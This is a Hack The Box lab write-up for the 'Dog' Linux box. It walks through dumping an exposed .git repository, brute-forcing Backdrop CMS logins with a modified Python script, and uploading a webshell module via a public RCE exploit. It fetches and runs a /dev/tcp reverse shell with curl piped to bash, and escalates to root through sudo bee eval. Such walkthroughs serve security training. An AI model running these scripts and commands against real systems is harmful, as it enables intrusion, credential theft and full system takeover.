writeup 2025-03-10 · 17 min read

Hack The Box Dog Writeup (Easy Linux)

Easy Linux box. An exposed .git directory leaks the Backdrop CMS database password, an authenticated 1.27.1 RCE gives a shell, and sudo bee eval grants root.

Hack The Box Dog Writeup (Easy Linux)

Summary

Dog is an easy Linux box that starts with an nmap scan finding a world readable .git directory in the webroot of a Backdrop CMS install. Dumping the repository with git-dumper exposes settings.php and the cleartext MySQL password BackDropJ2024DS2024, and a modified BackDropScan.py enumerates valid CMS accounts until that password lands on the user tiffany. Backdrop 1.27.1 has a public authenticated remote code execution exploit that installs a malicious module, which the tester repacks as a tar archive because the manual installer rejects zip files, and the resulting webshell pulls down a reverse shell as www-data. The same CMS password is reused by the system account johncusack over SSH, and that account may run /usr/local/bin/bee as root. Because bee has an eval subcommand that executes arbitrary PHP, the tester writes their own SSH public key into /root/.ssh/authorized_keys and logs in as root.

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ nmap -p- -A $IP -oN scans/nmap.all -vv
Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-10 14:55 GMT

<SNIP>

Nmap scan report for dog.htb (10.10.11.58)
Host is up, received conn-refused (0.049s latency).
Scanned at 2025-03-10 14:55:11 GMT for 26s
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 972ad22c898ad3ed4dac00d21e8749a7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEJsqBRTZaxqvLcuvWuqOclXU1uxwUJv98W1TfLTgTYqIBzWAqQR7Y6fXBOUS6FQ9xctARWGM3w3AeDw+MW0j+iH83gc9J4mTFTBP8bXMgRqS2MtoeNgKWozPoy6wQjuRSUammW772o8rsU2lFPq3fJCoPgiC7dR4qmrWvgp5TV8GuExl7WugH6/cTGrjoqezALwRlKsDgmAl6TkAaWbCC1rQ244m58ymadXaAx5I5NuvCxbVtw32/eEuyqu+bnW8V2SdTTtLCNOe1Tq0XJz3mG9rw8oFH+Mqr142h81jKzyPO/YrbqZi2GvOGF+PNxMg+4kWLQ559we+7mLIT7ms0esal5O6GqIVPax0K21+GblcyRBCCNkawzQCObo5rdvtELh0CPRkBkbOPo4CfXwd/DxMnijXzhR/lCLlb2bqYUMDxkfeMnmk8HRF+hbVQefbRC/+vWf61o2l0IFEr1IJo3BDtJy5m2IcWCeFX3ufk5Fme8LTzAsk6G9hROXnBZg8=
|   256 277c3ceb0f26e962590f0fb138c9ae2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM/NEdzq1MMEw7EsZsxWuDa+kSb+OmiGvYnPofRWZOOMhFgsGIWfg8KS4KiEUB2IjTtRovlVVot709BrZnCvU8Y=
|   256 9388474c69af7216094cba771e3b3beb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPMpkoATGAIWQVbEl67rFecNZySrzt944Y/hWAyq4dPc
80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-robots.txt: 22 disallowed entries 
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
| /user/password /user/login /user/logout /?q=admin /?q=comment/reply 
| /?q=filter/tips /?q=node/add /?q=search /?q=user/password 
|_/?q=user/register /?q=user/login /?q=user/logout
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-title: Home | Dog
|_http-favicon: Unknown favicon MD5: 3836E83A3E835A26D789DDA9E78C5510
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Server

The nmap scan reveals that there is an accessible .git repository in the webroot. In order to dump the contents, the tester used the tool git-dumper.

Installing the tool:

1
pipx install git-dumper

Running the tool against dog.htb:

1
git-dumper http://dog.htb/.git ./dumped

Then, in the dump folder, it’s possible to see some cleartext credentials in settings.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ head -n 30 settings.php 
<?php
/**
 * @file
 * Main Backdrop CMS configuration file.
 */

/**
 * Database configuration:
 *
 * Most sites can configure their database by entering the connection string
 * below. If using primary/replica databases or multiple connections, see the
 * advanced database documentation at
 * https://api.backdropcms.org/database-configuration
 */
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';

/**
 * Site configuration files location.
 *
 * By default these directories are stored within the files directory with a
 * hashed path. For the best security, these directories should be in a location
 * that is not publicly accessible through a web browser.
 *
 * Example using directories one parent level up:
 * @code
 * $config_directories['active'] = '../config/active';
 * $config_directories['staging'] = '../config/staging';
 * @endcode
 *
user@attackbox:~/hacking/htb/machines/easy/dog/dumped$

It’s also possible to read the git logs, but there’s not much relevant information.

1
2
3
4
5
6
7
$ git log
commit 8204779c764abd4c9d8d95038b6d22b6a7515afa (HEAD -> master, ls)
Author: root <dog@dog.htb>
Date:   Fri Feb 7 21:22:11 2025 +0000

    todo: customize url aliases.  reference:https://docs.backdropcms.org/documentation/url-aliases
user@attackbox:~/hacking/htb/machines/easy/dog/dumped$

BackDropCMS Username Enumeration

Used the tool BackDropScan.py (modified to include threading) to enumerate valid usernames in the BackDropCMS application:

1
2
3
4
5
6
7
$ python3 BackDropScan.py --url http://dog.htb/ --threads 15 --userenum --userslist /usr/share/wordlists/SecLists-master/Usernames/Names/names.txt 
[+] Valid username: axel
[+] Valid username: john
[+] Valid username: morris
[+] Valid username: rosa 
[+] Valid username: tiffany                                                                     
user@attackbox:~/hacking/tools$

This is the modified version for the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import requests
import re
from colorama import Fore, init
import threading
import signal
import argparse
import sys
from concurrent.futures import ThreadPoolExecutor

init()

def def_handler(sig, frame):
    print(f'{Fore.BLUE}[{Fore.YELLOW}!{Fore.BLUE}]{Fore.WHITE} Exiting{Fore.BLUE}.{Fore.RED}.{Fore.CYAN}.')
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

parser = argparse.ArgumentParser()
parser.add_argument('--url', help='Website URL')
parser.add_argument('--version', action='store_true', help='List the version of BackdropCMS')
parser.add_argument('--userslist', help='Provide the list of users')
parser.add_argument('--userenum', action='store_true', help='Enumerate users')
parser.add_argument('--userpass', action='store_true', help='Attempt to log in with the user name as password')
parser.add_argument('--threads', type=int, default=10, help='Number of threads (default: 10)')
args = parser.parse_args()

def backdropcms_version(url):
    try:
        req = requests.get(f'{url}/core/profiles/testing/testing.info')  
        pattern = r'version\s*=\s*(\d+\..*)'
        matches = re.findall(pattern, req.text)
        print(f'{Fore.BLUE}[{Fore.WHITE}+{Fore.BLUE}]{Fore.GREEN} Version{Fore.CYAN}:{Fore.CYAN} {Fore.WHITE}{matches[0]}')  
    except Exception as e:
        print(f'{Fore.BLUE}[{Fore.WHITE}-{Fore.BLUE}]{Fore.RED} Error detecting version: {str(e)}')

def check_username(url, username):
    try:
        req = requests.get(f'{url}/?q=accounts/{username}')
        if req.status_code == 403:
            print(f'{Fore.BLUE}[{Fore.WHITE}+{Fore.BLUE}]{Fore.GREEN} Valid username: {username}')
    except Exception as e:
        print(f'{Fore.RED}[!] Error checking {username}: {str(e)}')

def enum_users(url, users_list, num_threads):
    with open(users_list, 'r') as f:
        usernames = [line.strip() for line in f]

    with ThreadPoolExecutor(max_workers=num_threads) as executor:
        executor.map(lambda user: check_username(url, user), usernames)

def try_login(url, username):
    try:
        payload = {
            'name': username,
            'pass': username,
            'form_build_id': 'form-jE_w6fw-VWXjWJuAxsnv3dNItFBykLxJ8xaMUWJmOEg',
            'form_id': 'user_login',
            'op': 'Log in'
        }
        req = requests.post(f'{url}?q=user/login', data=payload)
        if 'admin' in req.url:
            print(f'{Fore.BLUE}[{Fore.WHITE}+{Fore.BLUE}]{Fore.GREEN} Valid credentials: ({username}:{username})')  
    except Exception as e:
        print(f'{Fore.RED}[!] Error logging in as {username}: {str(e)}')

def username_and_password(url, users_list, num_threads):
    with open(users_list, 'r') as f:
        usernames = [line.strip() for line in f]

    with ThreadPoolExecutor(max_workers=num_threads) as executor:
        executor.map(lambda user: try_login(url, user), usernames)e
if __name__ == '__main__':
    if args.url:
        if args.version:
            backdropcms_version(args.url)
        elif args.userslist:
            if args.userenum:
                enum_users(args.url, args.userslist, args.threads)
            elif args.userpass:
                username_and_password(args.url, args.userslist, args.threads)
            else:
                parser.print_help()
    else:
        parser.print_help()

Create a users.txt file:

1
2
3
4
5
6
$ cat users.txt 
axel
john
morris
rosa
tiffany

Create a passwords.txt file (adding some iterations of the original password just in case):

1
2
3
4
$ cat passwords.txt 
BackDropJ2024DS2024
BackDropJ2024DS2025
BackDropJ2025DS2025

The tester modified the script to allow for bruteforce:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import requests
import re
from colorama import Fore, init
import threading
import signal
import argparse
import sys
from concurrent.futures import ThreadPoolExecutor

init()

def def_handler(sig, frame):
    print(f'{Fore.BLUE}[{Fore.YELLOW}!{Fore.BLUE}]{Fore.WHITE} Exiting{Fore.BLUE}.{Fore.RED}.{Fore.CYAN}.')
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

parser = argparse.ArgumentParser()
parser.add_argument('--url', help='Website URL')
parser.add_argument('--version', action='store_true', help='List the version of BackdropCMS')
parser.add_argument('--userslist', help='Provide the list of users')
parser.add_argument('--passwords', help='Provide the list of passwords for brute-force attack')
parser.add_argument('--userenum', action='store_true', help='Enumerate users')
parser.add_argument('--userpass', action='store_true', help='Attempt to log in using a password list')
parser.add_argument('--threads', type=int, default=10, help='Number of threads (default: 10)')
args = parser.parse_args()

def backdropcms_version(url):
    try:
        req = requests.get(f'{url}/core/profiles/testing/testing.info')  
        pattern = r'version\s*=\s*(\d+\..*)'
        matches = re.findall(pattern, req.text)
        print(f'{Fore.BLUE}[{Fore.WHITE}+{Fore.BLUE}]{Fore.GREEN} Version{Fore.CYAN}:{Fore.CYAN} {Fore.WHITE}{matches[0]}')  
    except Exception as e:
        print(f'{Fore.BLUE}[{Fore.WHITE}-{Fore.BLUE}]{Fore.RED} Error detecting version: {str(e)}')

def check_username(url, username):
    try:
        req = requests.get(f'{url}/?q=accounts/{username}')
        if req.status_code == 403:
            print(f'{Fore.BLUE}[{Fore.WHITE}+{Fore.BLUE}]{Fore.GREEN} Valid username: {username}')
    except Exception as e:
        print(f'{Fore.RED}[!] Error checking {username}: {str(e)}')

def enum_users(url, users_list, num_threads):
    with open(users_list, 'r') as f:
        usernames = [line.strip() for line in f]

    with ThreadPoolExecutor(max_workers=num_threads) as executor:
        executor.map(lambda user: check_username(url, user), usernames)

def try_login(url, username, password):
    try:
        payload = {
            'name': username,
            'pass': password,
            'form_build_id': 'form-jE_w6fw-VWXjWJuAxsnv3dNItFBykLxJ8xaMUWJmOEg',
            'form_id': 'user_login',
            'op': 'Log in'
        }
        req = requests.post(f'{url}?q=user/login', data=payload)

        if 'admin' in req.url:  # Modify if necessary based on successful login response
            print(f'{Fore.BLUE}[{Fore.WHITE}+{Fore.BLUE}]{Fore.GREEN} Valid credentials: ({username}:{password})')  
    except Exception as e:
        print(f'{Fore.RED}[!] Error logging in as {username} with {password}: {str(e)}')

def username_and_password(url, users_list, passwords_list, num_threads):
    with open(users_list, 'r') as f_users:
        usernames = [line.strip() for line in f_users]

    with open(passwords_list, 'r') as f_passwords:
        passwords = [line.strip() for line in f_passwords]

    with ThreadPoolExecutor(max_workers=num_threads) as executor:
        for username in usernames:
            for password in passwords:
                executor.submit(try_login, url, username, password)

if __name__ == '__main__':
    if args.url:
        if args.version:
            backdropcms_version(args.url)
        elif args.userslist:
            if args.userenum:
                enum_users(args.url, args.userslist, args.threads)
            elif args.userpass and args.passwords:
                username_and_password(args.url, args.userslist, args.passwords, args.threads)
            else:
                parser.print_help()
    else:
        parser.print_help()

The tester ran the script, obtaining valid credentials:

1
2
3
$ python3 BackDropScan.py --url http://dog.htb/ --userslist ~/hacking/htb/machines/easy/dog/users.txt --passwords ~/hacking/htb/machines/easy/dog/passwords.txt --userpass
[+] Valid credentials: (tiffany:BackDropJ2024DS2024)
user@attackbox:~/hacking/tools$

Initial Access

The tester found a public exploit that explores an authenticated remote code execution in BackDropCMS version 1.27.1.

To confirm the application is vulnerable, the tester ran the BackDropScan script to check the version:

1
2
$ python3 BackDropScan.py --version --url http://dog.htb/     
[+] Version: 1.27.1

The tester downloaded the public exploit, and executed it:

1
2
3
4
5
6
$ python3 52021.py http://dog.htb
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http://dog.htb/admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http://dog.htb/modules/shell/shell.php

The tester did change the “shell” directory to “evil”, and renamed all the files in it replacing “shell” for “evil”. The idea is that if there’s other people trying to upload the shell, ours doesn’t get mixed up:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
user@attackbox:~/hacking/htb/machines/easy/dog$ mv shell evil 
user@attackbox:~/hacking/htb/machines/easy/dog$ ls evil
shell.info  shell.php
user@attackbox:~/hacking/htb/machines/easy/dog$ cd evil
user@attackbox:~/hacking/htb/machines/easy/dog/evil$ ls 
shell.info  shell.php
user@attackbox:~/hacking/htb/machines/easy/dog/evil$ mv shell.info evil.info
user@attackbox:~/hacking/htb/machines/easy/dog/evil$ mv shell.php evil.php
user@attackbox:~/hacking/htb/machines/easy/dog/evil$ ls 
evil.info  evil.php
user@attackbox:~/hacking/htb/machines/easy/dog/evil$ cd ..
user@attackbox:~/hacking/htb/machines/easy/dog$ ls 
52021.py  dumped  evil  evil.tar  passwords.txt  scans  shell.sh  shell.zip  users.txt
user@attackbox:~/hacking/htb/machines/easy/dog$ rm evil.tar 
user@attackbox:~/hacking/htb/machines/easy/dog$ tar -cvf evil.tar evil/
evil/
evil/evil.php
evil/evil.info

It’s also important to note that originally, the public exploit generates a zip file containing the shell. In order for the exploit to work in this scenario, the tester needed to use “tar”, because the application does not accept zip archives.

After creating the tar archive, and being logged in to the BackDropCMS using the previously discovered credentials for “tiffany”, the tester headed to:

1
http://dog.htb/?q=admin/installer/manual

Then, the tester selected the evil.tar archive:

Backdrop CMS manual module installer with the evil.tar archive selected for upload

And clicked install. The tester was greeted with a successful message:

Backdrop CMS reporting that the malicious module was installed successfully

And code execution can be achieved at:

1
http://dog.htb/modules/evil/evil.php?cmd=[command to be executed]

The uploaded evil.php webshell returning command output in the browser

In order to obtain a reverse shell in the system, the tester created a shell.sh file:

1
2
$ cat ~/hacking/htb/machines/easy/dog/shell.sh                  
sh -i >& /dev/tcp/10.10.14.7/9999 0>&1

The tester did set up a netcat listener on port 9999 to receive the connection:

1
nc -lvnp 9999

Then, in the same folder as “shell.sh”, the tester prepared a python http server:

1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Using the shell at , the tester made the server connect back to their python webserver to grab the malicious shell script, and execute it right away in bash:

1
2
3
4
5
6
7
8
9
10
11
12
$ curl 'http://dog.htb/modules/evil/evil.php?cmd=curl+http://10.10.14.7/shell.sh+|+bash'

    <html>
    <body>
    <form method="GET" name="evil.php">
    <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
    <input type="SUBMIT" value="Execute">
    </form>
    <pre>
        </pre>
    </body>
    </html>

Instantly, a http request is received in the python http server:

1
2
3
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.58 - - [10/Mar/2025 17:09:55] "GET /shell.sh HTTP/1.1" 200 -

And in the netcat listener, the reverse shell connection is received:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.58] 37184
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@dog:/var/www/html/modules/evil$ export TERM=xterm
export TERM=xterm
www-data@dog:/var/www/html/modules/evil$ ^Z
[1]+  Stopped                 nc -lvnp 9999
user@attackbox:~/hacking/htb/machines/easy/dog$ stty raw -echo; fg
nc -lvnp 9999

www-data@dog:/var/www/html/modules/evil$ 
www-data@dog:/var/www/html/modules/evil$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

The tester discovered two valid system users,

1
jobert  johncusack

And tried reusing the password for both users. The tester could log in via SSH as “johncusack” using the same password discovered earlier (BackDropJ2024DS2024):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ ssh johncusack@dog.htb
johncusack@dog.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon 10 Mar 2025 05:11:40 PM UTC

  System load:           0.04
  Usage of /:            49.1% of 6.32GB
  Memory usage:          17%
  Swap usage:            0%
  Processes:             232
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.58
  IPv6 address for eth0: dead:beef::250:56ff:fe94:4ad


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


johncusack@dog:~$

Then, the tester enumerate sudo permissions and discovered that “johncusack” can run “bee” binary as root:

1
2
3
4
5
6
7
8
9
johncusack@dog:~$ sudo -l
[sudo] password for johncusack: 
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee
johncusack@dog:~$

Reading throug bee documentation, the tester discovered that it’s possible to execute arbitrary php code:

The bee documentation page describing the eval command, which runs arbitrary PHP

With that in mind, the tester could execute commands as root. In the example below, the tester added their SSH public key to authorized_keys in /root/.ssh/authorized_keys:

1
$ sudo /usr/local/bin/bee --root='/var/www/html/' eval "SYSTEM('echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDcxZ/8nB3EJfnalLN7fK5N79ot8+wjwsirOAkgJlAuhzdnva3nAPMvTIknPxxkHCxZU55OX10vKVoP7TvoS+qICYv/lVpT/5osh5dZJMTITG4UFk8OqsgTfMoQ1wvr7ba7qkRPgyBM1wKR1LhtCwlemeIzM50CwzUcWToTS9P8GVVzMBAInw6LvfESVnGNcZpyNnI6MU6TYS2ckay2VPZettv17drqxZcn2e8gdvulFmCKCwcI2RbA6P70HZ6O87xBdik7+IVDohvomHUV/JEkXoaFatQ7BW5ovMjqgmH/Wv9alOgH6TLXz639JlGM89BtEooyPd3o1n7VwSjSzst94PxHSzS0bqMHW1UeQdPzvqa53uKf+CF4inpn2bexbn2xFT57lPH9T+gaIqTQvftyhba+YoJE99XWbsroa6cMLnGQ9YLAQXa9a5/U+PoDVRssTRgiaNtDpki2jIRIeahRZUCaNt0OA48o+AWcWIXieImNtilo16ZlSqiyjy0zb/c= user@attackbox > /root/.ssh/authorized_keys');"

And was able to log in as root via SSH:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
user@attackbox:~/hacking/tools$ ssh root@dog.htb
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon 10 Mar 2025 05:37:44 PM UTC

  System load:           0.43
  Usage of /:            49.1% of 6.32GB
  Memory usage:          18%
  Swap usage:            0%
  Processes:             237
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.58
  IPv6 address for eth0: dead:beef::250:56ff:fe94:4ad


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


root@dog:~#

Post Exploitation

The tester, using the credentials discovered earlier, could log in to the mysql database and dump all the users:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
$ mysql -u root -p;
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 27
Server version: 8.0.41-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2025, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| backdrop           |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.00 sec)

mysql> use backdrop 
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------------------+
| Tables_in_backdrop          |
+-----------------------------+
| batch                       |
| cache                       |
| cache_admin_bar             |
| cache_bootstrap             |
| cache_entity_comment        |
| cache_entity_file           |
| cache_entity_node           |
| cache_entity_taxonomy_term  |
| cache_entity_user           |
| cache_field                 |
| cache_filter                |
| cache_layout_path           |
| cache_menu                  |
| cache_page                  |
| cache_path                  |
| cache_token                 |
| cache_update                |
| cache_views                 |
| cache_views_data            |
| comment                     |
| field_data_body             |
| field_data_comment_body     |
| field_data_field_image      |
| field_data_field_tags       |
| field_revision_body         |
| field_revision_comment_body |
| field_revision_field_image  |
| field_revision_field_tags   |
| file_managed                |
| file_metadata               |
| file_usage                  |
| flood                       |
| history                     |
| menu_links                  |
| menu_router                 |
| node                        |
| node_access                 |
| node_comment_statistics     |
| node_revision               |
| queue                       |
| redirect                    |
| search_dataset              |
| search_index                |
| search_node_links           |
| search_total                |
| semaphore                   |
| sequences                   |
| sessions                    |
| state                       |
| system                      |
| taxonomy_index              |
| taxonomy_term_data          |
| taxonomy_term_hierarchy     |
| tempstore                   |
| url_alias                   |
| users                       |
| users_roles                 |
| variable                    |
| watchdog                    |
+-----------------------------+
59 rows in set (0.00 sec)

mysql> select * from users;
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
| uid | name              | pass                                                    | mail                       | signature | signature_format | created    | changed    | access     | login      | status | timezone | language | picture | init                       | data       |
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
|   0 |                   |                                                         |                            |           | NULL             |          0 |          0 |          0 |          0 |      0 | NULL     |          |       0 |                            | NULL       |
|   1 | jPAdminB          | $S$E7dig1GTaGJnzgAXAtOoPuaTjJ05fo8fH9USc6vO87T./ffdEr/. | jPAdminB@dog.htb           |           | NULL             | 1720548614 | 1720584122 | 1720714603 | 1720584166 |      1 | UTC      |          |       0 | jPAdminB@dog.htb           | 0x623A303B |
|   2 | jobert            | $S$E/F9mVPgX4.dGDeDuKxPdXEONCzSvGpjxUeMALZ2IjBrve9Rcoz1 | jobert@dog.htb             |           | NULL             | 1720584462 | 1720584462 | 1720632982 | 1720632780 |      1 | UTC      |          |       0 | jobert@dog.htb             | NULL       |
|   3 | dogBackDropSystem | $S$EfD1gJoRtn8I5TlqPTuTfHRBFQWL3x6vC5D3Ew9iU4RECrNuPPdD | dogBackDroopSystem@dog.htb |           | NULL             | 1720632880 | 1720632880 | 1723752097 | 1723751569 |      1 | UTC      |          |       0 | dogBackDroopSystem@dog.htb | NULL       |
|   5 | john              | $S$EYniSfxXt8z3gJ7pfhP5iIncFfCKz8EIkjUD66n/OTdQBFklAji. | john@dog.htb               |           | NULL             | 1720632910 | 1720632910 |          0 |          0 |      1 | UTC      |          |       0 | john@dog.htb               | NULL       |
|   6 | morris            | $S$E8OFpwBUqy/xCmMXMqFp3vyz1dJBifxgwNRMKktogL7VVk7yuulS | morris@dog.htb             |           | NULL             | 1720632931 | 1720632931 |          0 |          0 |      1 | UTC      |          |       0 | morris@dog.htb             | NULL       |
|   7 | axel              | $S$E/DHqfjBWPDLnkOP5auHhHDxF4U.sAJWiODjaumzxQYME6jeo9qV | axel@dog.htb               |           | NULL             | 1720632952 | 1720632952 |          0 |          0 |      1 | UTC      |          |       0 | axel@dog.htb               | NULL       |
|   8 | rosa              | $S$EsV26QVPbF.s0UndNPeNCxYEP/0z2O.2eLUNdKW/xYhg2.lsEcDT | rosa@dog.htb               |           | NULL             | 1720632982 | 1720632982 |          0 |          0 |      1 | UTC      |          |       0 | rosa@dog.htb               | NULL       |
|  10 | tiffany           | $S$EEAGFzd8HSQ/IzwpqI79aJgRvqZnH4JSKLv2C83wUphw0nuoTY8v | tiffany@dog.htb            |           | NULL             | 1723752136 | 1723752136 | 1741626565 | 1741626565 |      1 | UTC      |          |       0 | tiffany@dog.htb            | NULL       |
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
9 rows in set (0.00 sec)

mysql> exit
This post is licensed under CC BY 4.0 by the author.